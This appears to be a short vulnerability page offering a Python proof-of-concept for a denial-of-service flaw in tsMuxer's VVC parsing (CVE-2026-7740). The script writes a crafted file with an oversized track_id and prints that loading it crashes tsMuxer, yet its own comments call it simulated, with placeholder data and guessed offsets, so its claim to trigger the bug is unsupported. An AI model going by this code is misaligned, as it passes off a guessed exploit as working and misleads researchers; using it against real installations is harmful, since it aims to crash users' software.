CVE-2026-7740 tsMuxer拒绝服务漏洞

# PoC for CVE-2026-7740 # Conceptual PoC demonstrating the trigger condition import struct def generate_exploit_file(filename): """ Generates a crafted file that triggers the VvcVpsUnit::setFPS vulnerability. The exploit manipulates the track_id argument to cause a DoS. """ # This is a simulated VVC VPS structure with a malicious track_id # Real implementation would require reverse engineering the exact binary format. # Header for a VVC NAL unit (simulation) # forbidden_zero_bit(1) + nuh_layer_id(6) + nuh_temporal_id_plus1(3) nal_header = bytes([0x00, 0x01, 0x02]) # VPS data placeholder vps_data = b'\x00' * 10 # The vulnerability is triggered by 'track_id'. # Assuming track_id is parsed as an integer at this offset. # Sending an unexpected large value or specific pattern to trigger the bug. # Based on typical DoS in C++, this might be an out-of-bounds index. malicious_track_id = struct.pack('<I', 0xFFFFFFFF) payload = nal_header + vps_data + malicious_track_id with open(filename, 'wb') as f: f.write(payload) print(f"[+] Exploit file '{filename}' generated successfully.") print(f"[+] Load this file in tsMuxer to trigger the Denial of Service.") if __name__ == "__main__": generate_exploit_file("cve_2026_7740_poc.bin")